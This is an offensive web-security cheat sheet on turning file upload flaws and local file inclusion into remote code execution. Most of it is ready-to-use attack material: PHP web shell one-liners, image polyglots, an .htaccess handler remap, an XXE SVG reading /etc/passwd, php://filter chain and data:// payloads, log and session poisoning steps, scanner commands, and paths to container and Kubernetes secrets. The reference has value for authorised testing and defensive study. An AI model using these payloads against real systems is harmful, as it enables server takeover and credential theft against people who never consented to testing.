File Upload & LFI

Sections File Upload & LFI

Upload a file that gets interpreted as code, or trick the app into including a file with malicious content. Both lead to RCE.

T=https://target.com

i. Where it lives

File Upload

  • Avatar / profile picture upload
  • Document attachment (tickets, support, messages)
  • Resume / CV upload (parsed by HR system)
  • Import features (CSV, XML, JSON, archives)
  • File-sharing applications
  • Plugin / theme upload (WordPress, vBulletin, etc)
  • Image processing (thumbnail generation, format conversion)

Local File Inclusion (LFI)

  • ?file= / ?page= / ?template= / ?include= URL parameters
  • Language selectors (?lang=eninclude('lang/' . $_GET['lang'] . '.php'))
  • Theme / skin parameters
  • Help / docs viewer endpoints
  • Plugin loaders
  • API endpoints that take filenames

Remote File Inclusion (RFI)

Rare in modern PHP (default allow_url_include=Off), but found on legacy installs. Same input pattern as LFI but accepts full URLs.

ii. File upload - bypass techniques

The defense levels you’ll typically encounter:

Layer 1: Extension blacklist

Server rejects .php, .jsp, .exe. Try lesser-known executable extensions:

ServerExtensions that get executed
PHP.php, .php3, .php4, .php5, .php7, .pht, .phar, .phtml, .phps, .pgif, .shtml, .htaccess
ASP.NET.asp, .aspx, .ashx, .asmx, .config, .cer, .asax, .cshtml
Java.jsp, .jspx, .jsw, .jsv, .jspf, .war
Node.js, depends on app routing - less interesting via upload
Generic.htaccess (Apache only) to remap extensions, .htpasswd, web.config (IIS)

.phtml, .phar, .shtml are commonly missed in PHP blacklists.

Layer 2: Extension allowlist

Server only accepts .jpg, .png, .gif. Bypass strategies:

Double extension:

shell.php.jpg    ## sometimes Apache executes .php in middle when .jpg not registered handler
shell.jpg.php

Null byte injection (PHP < 5.3 only):

shell.php%00.jpg

Case variations:

shell.pHp
shell.PHP
shell.pHtMl

Path traversal in filename:

filename=../../shell.php   ## traverses out of upload dir into a php-executable dir

Multiple extensions (Apache mod_mime quirk):

shell.php.foo.bar    ## Apache trims unknown extensions right-to-left

Layer 3: Magic byte / MIME-sniffing check

Server reads first bytes of the file to verify it’s actually an image:

Polyglot files: a single file that is BOTH a valid image AND valid code in another language.

## Simplest GIF polyglot:
echo 'GIF89a;<?php system($_GET[0]); ?>' > shell.php
## Server sees GIF89a magic bytes → thinks it's an image. PHP engine ignores everything before <?php.

## JPG with embedded PHP:
exiftool -Comment="<?php system($_GET[0]); ?>" cat.jpg
mv cat.jpg shell.php.jpg    ## or rename based on extension trick

Layer 4: Content-Type validation

Server checks the request’s Content-Type header. Just modify it in Burp:

Content-Type: image/png    ## even when actual file is .php

Layer 5: Server-side image processing

Server processes the image (resize, convert, strip metadata). This usually destroys polyglot payloads. Bypass:

ImageMagick CVE chain (ImageTragick, GhostButt, etc) - see WEB07 XXE section viii for context, ImageMagick-Tragick payloads can still hit older installs.

SVG with embedded JS / XXE:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&x;</text>
</svg>

Upload as avatar.svg. When the app renders it, XXE fires.

Layer 6: Path / filename sanitization

Server strips path traversal, sanitizes filename. Try:

  • Null byte in path: ../../../shell.php%00.jpg
  • Unicode normalization: ‥/‥/shell.php (using Unicode lookalikes)
  • URL-encoded slashes: ..%2F..%2Fshell.php
  • Double-URL-encoding: ..%252F..%252Fshell.php

iii. The .htaccess upload trick

When you can upload any file (no extension filtering at all OR Apache backend), upload a custom .htaccess:

AddType application/x-httpd-php .jpg

Then upload shell.jpg containing PHP code. Apache now executes .jpg files as PHP in that directory.

iv. Web shell choices by language

StackWeb shell
PHP<?php system($_GET[0]); ?>
JSP / TomcatJSP shell from PayloadsAllTheThings
ASP.NETTiny aspx shell, see PAT
Node.jsLess common via upload, more via dep confusion / RCE
Python (Flask/Django)Pickle / template injection via upload

For full shell payloads per language, see PayloadsAllTheThings - Upload Insecure Files .

For getting a stable callback after upload, see Reverse Shells - the JSP/ASPX shells from msfvenom are battle-tested.

v. Tools for upload bypass discovery

Upload Scanner (Burp extension)

Automatic file upload testing. Sends every common extension/Content-Type combination, watches responses.

fuxploider

git clone https://github.com/almandin/fuxploider
python3 fuxploider.py --url "$T/upload.php" --not-regex "Wrong" -m 10

Tests many extension/MIME combinations to find what slips through.

file-upload-bypass-scanner / Upload-Bypass

Various tools on GitHub do the same thing - automated extension/MIME fuzzing.

Manual is often more reliable: identify the framework, look at PayloadsAllTheThings for that stack’s known bypasses.

vi. LFI - the basics

The fundamental pattern:

?file=../../etc/passwd
?file=....//....//etc/passwd     ## bypass once-stripped ..
?file=..%2f..%2fetc%2fpasswd     ## URL encoding
?file=..%252f..%252fetc%252fpasswd  ## double URL encoding
?file=/etc/passwd                ## absolute path
?file=/etc/passwd%00             ## null byte (PHP < 5.3)
?file=/proc/self/environ         ## env vars (often has User-Agent etc)

Probe with these patterns until you see /etc/passwd content in the response.

vii. PHP wrappers for LFI

PHP supports stream wrappers that turn LFI into more useful primitives:

php://filter (file read, often the most useful)

Encode the file contents in base64 to read binary-safe:

?file=php://filter/convert.base64-encode/resource=/etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php   ## read source code
?file=php://filter/read=convert.base64-encode/resource=../config.php

Decode the base64 in the response. Reads source code of the app - a goldmine for finding more bugs.

php://filter chain to RCE (no upload needed!)

A series of PHP filters can be chained to generate arbitrary content. Synacktiv published a generator that produces a php:// filter chain delivering arbitrary PHP code through nothing but an LFI:

python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]); ?>'
## Outputs a long base64-encoded php://filter URL
## Use it directly:
?file=<the generated chain>&0=id

This is the single most powerful LFI escalation technique in 2024+ for PHP.

data:// (when allow_url_include=On)

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4=&0=id

expect:// (when PECL expect is installed, rare)

?file=expect://id

phar:// (deserialization + LFI = RCE without uploading PHP)

When you can upload a .phar file and trigger an LFI that loads it, the phar metadata deserializes. See WEB14 Deserialization .

zip:// (read files inside an uploaded zip)

?file=zip:///tmp/uploaded.zip%23payload.php

Combined with upload, can be a useful chain when direct PHP execution is blocked.

viii. LFI to RCE classical chains

Beyond php://filter, the classic LFI-to-RCE paths:

Log poisoning

  1. Inject PHP code into a log the server writes (User-Agent into access log, error log)
  2. Include the log file via LFI
  3. PHP executes the injected code
## Apache access log:
?file=/var/log/apache2/access.log
## Then send a request with:
User-Agent: <?php system($_GET[0]); ?>
## Now hit:
?file=/var/log/apache2/access.log&0=id

Common log locations:

  • /var/log/apache2/access.log, /var/log/apache2/error.log
  • /var/log/nginx/access.log, /var/log/nginx/error.log
  • /var/log/httpd/access_log, /var/log/httpd/error_log
  • /var/log/auth.log (poison via failed SSH login with PHP in username)
  • /var/log/mail.log, /var/log/maillog
  • /var/log/vsftpd.log

/proc/self/environ

Some PHP-FPM/CGI configs expose env vars in /proc/self/environ. Poisoning the User-Agent puts PHP code there:

?file=/proc/self/environ
## with User-Agent: <?php system($_GET[0]); ?>
## then: ?file=/proc/self/environ&0=id

Modern setups often have this file unreadable to the web user. Try anyway.

PHP session file

PHP sessions are stored in /var/lib/php/sessions/sess_<sessionid> (or /tmp/). If you can write to session data (some apps write user-controlled data into the session), then include the session file:

?file=/var/lib/php/sessions/sess_<your_session_id>

/tmp/sess_*

Some configs use /tmp/. Easier path.

File upload + LFI chain

When direct upload is restricted to non-executable extensions but you have LFI, upload a file with PHP code in it (any extension, the content matters) and include it:

1. Upload "image.jpg" containing <?php system($_GET[0]); ?>
2. ?file=/path/to/uploads/image.jpg&0=id

ix. fimap (LFI scanner)

Older but still useful:

fimap -u "$T/page?file=test"
fimap -u "$T/page?file=test" -x    ## attempt RCE

LFI Suite is a similar option. Most modern scanners handle LFI in their general web vuln checks.

x. Tricks worth knowing

Detect filter presence

Submit ?file=index.php literally. If it returns the file, LFI confirmed AND not heavily filtered. If it returns the file rendered (HTML), the app is doing include() (LFI). If it returns the source, the app is doing file read (less useful but still leaks code).

NULL byte (legacy)

PHP < 5.3 truncates strings at %00. Modern PHP throws an error. Still worth testing on old apps.

Trailing slash trick

Some apps append .php to the file param. Bypass with NULL byte (old PHP) or by chaining wrappers:

?file=../../etc/passwd          ## becomes "../../etc/passwd.php" → error
?file=../../etc/passwd%00       ## old PHP truncates
?file=php://filter/.../resource=../../etc/passwd   ## the wrapper handles the path

Wrappers stack

php://filter chains multiple filters separated by |:

php://filter/convert.base64-encode|convert.iconv.utf-8.utf-16/resource=/etc/passwd

Used in the synacktiv chain generator to produce RCE without uploading.

Path normalization differences

Same path, different parsers:

/etc/passwd
/etc//passwd
/etc/./passwd
/etc/passwd/
/etc/PASSWD       (case)

When one is filtered, try variants.

Containerized apps

In Docker/Kubernetes, /etc/passwd is the container’s, not the host’s. Useful files:

  • /proc/1/cgroup - reveals container ID
  • /proc/self/environ - env vars often have secrets
  • /var/run/secrets/kubernetes.io/serviceaccount/token - K8s SA token
  • /.dockerenv - confirms Docker
  • App-specific configs at /app/, /usr/src/app/

xi. References

Upload

LFI

xii. Where it leads

  • Web shell upload → RCE → 04 Initial Access / W01 Recon & Enum
  • LFI source code read → identify SQLi / deserialization / hardcoded creds → exploit
  • LFI to RCE via php://filter chain → direct RCE without upload
  • LFI + session/log poisoning → RCE
  • SVG with XXE → see WEB07 XXE
  • Phar deserialization → see WEB14 Deserialization
  • /proc/self/environ leak → credentials in env vars

Once code execution lands, follow the standard foothold flow → Reverse Shells05 Local Enum → privesc.